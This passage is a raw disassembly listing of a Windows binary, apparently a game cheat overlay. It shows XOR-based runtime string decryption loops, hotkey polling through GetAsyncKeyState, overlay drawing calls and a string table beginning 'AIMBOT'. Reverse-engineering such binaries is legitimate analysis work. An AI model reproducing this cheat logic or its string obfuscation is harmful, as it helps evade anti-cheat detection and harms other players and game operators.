punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140096370
cmp r8d, 0x1d
jge 0x1400964c0
movsxd rax, r8d
lea r9, [rbp + 0x1290]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140096490
mov qword [rsp + 0x20], r13
xor r9d, r9d
movaps xmm2, xmm8
lea rdx, [rbp + 0x1290]
mov rcx, r10
call fcn.14002cba0
mov qword [0x1401a98c0], rax
mov r10, qword [rbx + 0x38]
movups xmm0, xmmword [0x140145eb8]
movups xmmword [rbp + 0x12b0], xmm0
movsd xmm0, qword [0x140145ec8]
movsd qword [rbp + 0x12c0], xmm0
mov eax, dword [0x140145ed0]
mov dword [rbp + 0x12c8], eax
movzx eax, byte [0x140145ed4]
mov byte [rbp + 0x12cc], al
mov r8d, r13d
cmp r12d, 2
jl 0x140096665
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x12b4]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140096560
cmp r8d, 0x1d
jge 0x1400966b0
movsxd rax, r8d
lea r9, [rbp + 0x12b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140096680
mov qword [rsp + 0x20], r13
xor r9d, r9d
movaps xmm2, xmm7
lea rdx, [rbp + 0x12b0]
mov rcx, r10
call fcn.14002cba0
lea rax, [0x1401a98b8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401ab1ac]
lea r8, [0x1401ab1c0]
mov edx, 0xb17
lea rcx, [0x140193950]
call fcn.140090dd0
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x140149324]
mov r8d, 0x114dc
lea rdx, str.OTTO
mov rcx, qword [rbx + 0x38]
call fcn.14002cdf0
mov qword [0x1401ab1c8], rax
mov byte [0x1401ab1df], 1
call fcn.140091eb0
cmp byte [0x1401ab1df], 0
je 0x1400ac937
movzx esi, byte [rbp + 0x1780]
movzx edi, byte [rbp + 0x1780]
movss xmm13, dword [0x1401491dc]
movss xmm8, dword [0x140149304]
xorps xmm10, xmm10
movss xmm12, dword [0x1401492f4]
movss xmm15, dword [0x140149320]
movss xmm11, dword [0x140149424]
movss xmm14, dword [0x1401493c4]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x19c8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400967ec
lea rcx, [rbp + 0x19c8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x19c8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x19c8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400967b1
call fcn.1400331a0
call fcn.140033c50
call fcn.14000a420
cmp byte [0x1401ab1ba], 0
je 0x14009681f
mov ecx, dword [reloc.WS2_32.dll_WSACleanup]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14009681f
mov ecx, 1
call fcn.14007ea20
cmp byte [0x1401aa8ef], 0
je 0x140096843
mov ecx, dword [reloc.WS2_32.dll_WSAStartup]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140096843
mov ecx, 2
call fcn.14007ea20
cmp byte [0x1401a982f], 0
je 0x14009686b
mov ecx, dword [reloc.WS2_32.dll_WSACleanup]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14009686b
cmp byte [0x1401a9824], 0
sete byte [0x1401a9824]
cmp byte [0x1401a97fd], 0
je 0x140096976
call fcn.140009aa0
mov rbx, rax
movaps xmm0, xmmword [0x140149720]
movups xmmword [rbp + 0x9a0], xmm0
lea rcx, [rbp + 0x9a0]
call fcn.140005520
movd xmm2, dword [0x14016092c]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1a0], xmm0
movss dword [rbp + 0x1a4], xmm1
movss xmm6, dword [0x1401492b0]
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.14002b680
call fcn.140009aa0
mov rbx, rax
lea rcx, [0x140160ac8]
call fcn.14005bb30
movd xmm2, dword [0x14016092c]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1a8], xmm0
movss dword [rbp + 0x1ac], xmm1
movss xmm7, dword [0x140149250]
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1a8]
mov rcx, rbx
call fcn.14002b680
jmp 0x140096986
movss xmm6, dword [0x1401492b0]
movss xmm7, dword [0x140149250]
cmp byte [0x1401a97ac], 0
je 0x140096a7f
call fcn.140009aa0
mov rbx, rax
movaps xmm0, xmmword [0x140149720]
movups xmmword [rbp + 0xa30], xmm0
lea rcx, [rbp + 0xa30]
call fcn.140005520
movd xmm2, dword [reloc.WLDAP32.dll_Ordinal_50]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1b0], xmm0
movss dword [rbp + 0x1b4], xmm1
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
call fcn.14002b680
call fcn.140009aa0
mov rbx, rax
lea rcx, [0x140160ab8]
call fcn.14005bb30
movd xmm2, dword [reloc.WLDAP32.dll_Ordinal_50]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1b8], xmm0
movss dword [rbp + 0x1bc], xmm1
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1b8]
mov rcx, rbx
call fcn.14002b680
cmp byte [0x1401a983b], 0
je 0x140096b78
call fcn.140009aa0
mov rbx, rax
movaps xmm0, xmmword [0x140149720]
movups xmmword [rbp + 0xa20], xmm0
lea rcx, [rbp + 0xa20]
call fcn.140005520
movd xmm2, dword [reloc.WLDAP32.dll_Ordinal_200]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1c0], xmm0
movss dword [rbp + 0x1c4], xmm1
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call fcn.14002b680
call fcn.140009aa0
mov rbx, rax
lea rcx, [0x140160a78]
call fcn.14005bb30
movd xmm2, dword [reloc.WLDAP32.dll_Ordinal_200]
cvtdq2ps xmm2, xmm2
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1c8], xmm0
movss dword [rbp + 0x1cc], xmm1
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 0x100
mov r9d, eax
lea rdx, [rbp + 0x1c8]
mov rcx, rbx
call fcn.14002b680
cmp byte [0x1401ab1f0], 0
je 0x140096c67
call fcn.140009aa0
mov rbx, rax
movaps xmm0, xmmword [0x140149720]
movups xmmword [rbp + 0xa10], xmm0
lea rcx, [rbp + 0xa10]
call fcn.140005520
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1d0], xmm0
movss dword [rbp + 0x1d4], xmm1
mov dword [rsp + 0x20], r13d
mov r9d, eax
movss xmm2, dword [0x1401492b8]
lea rdx, [rbp + 0x1d0]
mov rcx, rbx
call fcn.14002b760
call fcn.140009aa0
mov rbx, rax
movaps xmm0, xmmword [0x1401497f0]
movups xmmword [rbp + 0xa00], xmm0
lea rcx, [rbp + 0xa00]
call fcn.140005520
movd xmm1, dword [0x1401a98ac]
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm13
movd xmm0, dword [0x1401a98a8]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm13
movss dword [rbp + 0x1d8], xmm0
movss dword [rbp + 0x1dc], xmm1
mov dword [rsp + 0x20], r13d
mov r9d, eax
movss xmm2, dword [0x140149290]
lea rdx, [rbp + 0x1d8]
mov rcx, rbx
call fcn.14002b760
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400970b4
movups xmm0, xmmword [0x140145578]
movups xmmword [rbp + 0x1640], xmm0
movups xmm1, xmmword [0x140145588]
movups xmmword [rbp + 0x1650], xmm1
mov eax, dword [0x140145598]
mov dword [rbp + 0x1660], eax
movzx eax, word [0x14014559c]
mov word [rbp + 0x1664], ax
mov r8d, r13d
cmp r12d, 2
jl 0x140096df5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1644]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140096cf0
cmp r8d, 0x26
jge 0x140096e40
movsxd rax, r8d
lea r9, [rbp + 0x1640]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140096e10
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x13b0]
call fcn.140046b60
mov r15, rax
mov qword [rbp + 0x17a0], rax
movaps xmm0, xmmword [0x1401497f0]
movdqa xmmword [rbp + 0xa40], xmm0
cmp qword [rax + 0x10], 0
je 0x1400970ac
movaps xmm0, xmmword [0x140149720]
movups xmmword [rbp + 0x1948], xmm0
call fcn.140009aa0
mov r14, rax
mov rcx, r15
call fcn.140046b40
mov rbx, rax
lea rcx, [rbp + 0x1948]
call fcn.140005520
mov dword [rbp + 0x1e0], 0x41600000
mov dword [rbp + 0x1e4], 0x41600000
mov rcx, qword [0x1401a97b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1e0]
movaps xmm2, xmm8
mov rdx, qword [rcx + 0x3db0]
mov rcx, r14
call fcn.14002b820
call fcn.140009aa0
mov r14, rax
mov rcx, r15
call fcn.140046b40
mov rbx, rax
lea rcx, [rbp + 0x1948]
call fcn.140005520
mov dword [rbp + 0x1e8], 0x41400000
mov dword [rbp + 0x1ec], 0x41400000
mov rcx, qword [0x1401a97b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1e8]
movaps xmm2, xmm8
mov rdx, qword [rcx + 0x3db0]
mov rcx, r14
call fcn.14002b820
call fcn.140009aa0
mov r14, rax
mov rcx, r15
call fcn.140046b40
mov rbx, rax
lea rcx, [rbp + 0x1948]
call fcn.140005520
mov dword [rbp + 0x1f0], 0x41600000
mov dword [rbp + 0x1f4], 0x41400000
mov rcx, qword [0x1401a97b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1f0]
movaps xmm2, xmm8
mov rdx, qword [rcx + 0x3db0]
mov rcx, r14
call fcn.14002b820
call fcn.140009aa0
mov r14, rax
mov rcx, r15
call fcn.140046b40
mov rbx, rax
lea rcx, [rbp + 0x1948]
call fcn.140005520
mov dword [rbp + 0x1f8], 0x41400000
mov dword [rbp + 0x1fc], 0x41600000
mov rcx, qword [0x1401a97b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1f8]
movaps xmm2, xmm8
mov rdx, qword [rcx + 0x3db0]
mov rcx, r14
call fcn.14002b820
call fcn.140009aa0
mov r14, rax
mov rcx, r15
call fcn.140046b40
mov rbx, rax
lea rcx, [rbp + 0xa40]
call fcn.140005520
mov dword [rbp + 0x200], 0x41500000
mov dword [rbp + 0x204], 0x41500000
mov rcx, qword [0x1401a97b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x200]
movaps xmm2, xmm8
mov rdx, qword [rcx + 0x3db0]
mov rcx, r14
call fcn.14002b820
nop
mov rcx, r15
call fcn.140046ba0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400ac888
cmp byte [0x1401a9839], 0
jne 0x1400972b6
mov rcx, qword [0x1401a97b0]
mov eax, dword [rcx + 0x4ab8]
or eax, 2
mov dword [rcx + 0x4ab8], eax
movsd xmm0, qword [rcx + 0x10]
movsd qword [rcx + 0x4ad8], xmm0
mov dword [rcx + 0x4ac0], 1
or eax, 0x40
mov dword [rcx + 0x4ab8], eax
mov dword [rcx + 0x4b18], r13d
movsd xmm0, qword [str.OPT_SJaS__C]
movsd qword [rbp + 0x6c0], xmm0
mov eax, dword [0x140144f88]
mov dword [rbp + 0x6c8], eax
cmp byte [0x140144f8b], 0
je 0x140097290
mov r8d, r13d
cmp r12d, 2
jl 0x140097249
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.OPT_SJaS__C]
xorps xmm2, xmm0
movd dword [rbp + 0x6c0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c4]
xorps xmm2, xmm1
movd dword [rbp + 0x6c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140097260
xor edx, edx
mov r8d, 0x302af
lea rcx, [rbp + 0x6c0]
call fcn.14000fea0
test al, al
je 0x1400ac888
call fcn.14007e290
jmp 0x1400ac883
mov rax, qword [0x1401a97b0]
or dword [rax + 0x4ab8], 2
mov dword [rax + 0x4ad8], 0x446d8000
mov dword [rax + 0x4adc], 0x44098000
mov dword [rax + 0x4ac0], 1
movups xmm0, xmmword [str.jLNN___]
movups xmmword [rbp + 0xfc8], xmm0
mov eax, dword [0x140145f78]
mov dword [rbp + 0xfd8], eax
movzx eax, word [0x140145f7c]
mov word [rbp + 0xfdc], ax
cmp byte [0x140145f7d], 0
je 0x1400974b0
mov r8d, r13d
cmp r12d, 2
jl 0x140097465
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xfcc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140097360
cmp r8d, 0x16
jge 0x1400974b0
movsxd rax, r8d
lea r9, [rbp + 0xfc8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140097480
xor edx, edx
lea r8d, [rdx + 0x2b]
lea rcx, [rbp + 0xfc8]
call fcn.14000fea0
test al, al
je 0x1400ac883
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400974fc
movaps xmm0, xmmword [0x140145b10]
movups xmmword [rbp + 0xa60], xmm0
lea rcx, [rbp + 0xa60]
call fcn.140005520
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
call fcn.14007df20
mov rcx, qword [0x1401a97b0]
mov rax, qword [rcx + 0x40a0]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
movss xmm9, dword [rax + 0x34]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
mov rbx, qword [rax + 0x2b8]
movaps xmm0, xmmword [0x140149780]
movups xmmword [rbp + 0xa70], xmm0
lea rcx, [rbp + 0xa70]
call fcn.140005520
movaps xmm0, xmm9
addss xmm0, xmm7
subss xmm0, xmm12
movaps xmm8, xmm6
addss xmm8, dword [0x140149364]
movss dword [rbp + 0x70], xmm8
movss dword [rbp + 0x74], xmm0
movaps xmm0, xmm7
subss xmm0, dword [0x14014930c]
movss dword [rbp + 0x208], xmm8
movss dword [rbp + 0x20c], xmm0
movss xmm1, dword [0x140149218]
movss dword [rsp + 0x20], xmm1
mov r9d, eax
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x208]
mov rcx, rbx
call fcn.14002adf0
mov dword [rbp + 0x210], 0x41200000
mov dword [rbp + 0x214], 0x41200000
lea rcx, [rbp + 0x210]
call fcn.1400169f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa80], xmm0
movaps xmm1, xmmword [0x1401497f0]
movups xmmword [rbp + 0x9e0], xmm1
mov dword [rbp + 0x218], 0x3f800000
mov dword [rbp + 0x21c], 0x3f800000
mov qword [rbp + 0x220], 0
movd xmm1, dword [0x1401a98b8]
cvtdq2ps xmm1, xmm1
movd xmm0, dword [0x1401ab1ac]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x228], xmm0
movss dword [rbp + 0x22c], xmm1
lea rax, [rbp + 0xa80]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x218]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x228]
mov rcx, qword [0x1401ab1c0]
call fcn.140038ce0
mov rcx, qword [0x1401a98c0]
call fcn.140012b00
movaps xmm1, xmm7
addss xmm1, dword [0x14014936c]
subss xmm6, dword [0x1401492fc]
mov rcx, qword [0x1401a97b0]
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
unpcklps xmm6, xmm1
movsd qword [rax + 0x118], xmm6
mov byte [rax + 0x159], 1
mov dword [rbp + 0x238], 0x42960000
movaps xmm0, xmm9
subss xmm0, dword [0x140149394]
movss dword [rbp + 0x23c], xmm0
movsd xmm0, qword [str.tOoTZZ_]
movsd qword [rbp + 0x270], xmm0
movzx eax, byte [0x1401444a0]
mov byte [rbp + 0x270], Ordinal_79
xor byte [rbp + 0x271], 0x39
xor byte [rbp + 0x272], 0x3a
xor byte [rbp + 0x273], 0x3b
xor byte [rbp + 0x274], 0x3c
xor byte [rbp + 0x275], 0x3d
xor byte [rbp + 0x276], 0x3e
xor byte [rbp + 0x277], 0x3f
xor al, 0x40
mov byte [rbp + 0x278], al
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
xor r8d, r8d
lea rdx, [rbp + 0x270]
mov rcx, qword [rcx + 0x40a0]
call fcn.1400132a0
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [rbp + 0x238]
mov edx, eax
lea rcx, [rbp + 0x270]
call fcn.14000ca60
mov r14d, 0xffffffff
mov ebx, r13d
lea r15, str.AIMBOT
nop dword [rax]
mov ecx, ebx
shl rcx, 4
add rcx, r15
movss xmm3, dword [0x1401491a4]
lea r8, [0x1401a97c8]
lea rdx, [0x1401ab1d0]
call fcn.14007fde0
mov ecx, ebx
test al, al
cmove ecx, r14d
mov r14d, ecx
inc ebx
cmp ebx, 8
jl 0x140097780
call fcn.14000cdc0
call fcn.140012bb0
mov rcx, qword [0x1401a97b0]
cmp r14d, 0xffffffff
lea r15, [0x14013e1c4]
je 0x1400977f2
cmp r14d, dword [0x140160a30]
je 0x1400977f2
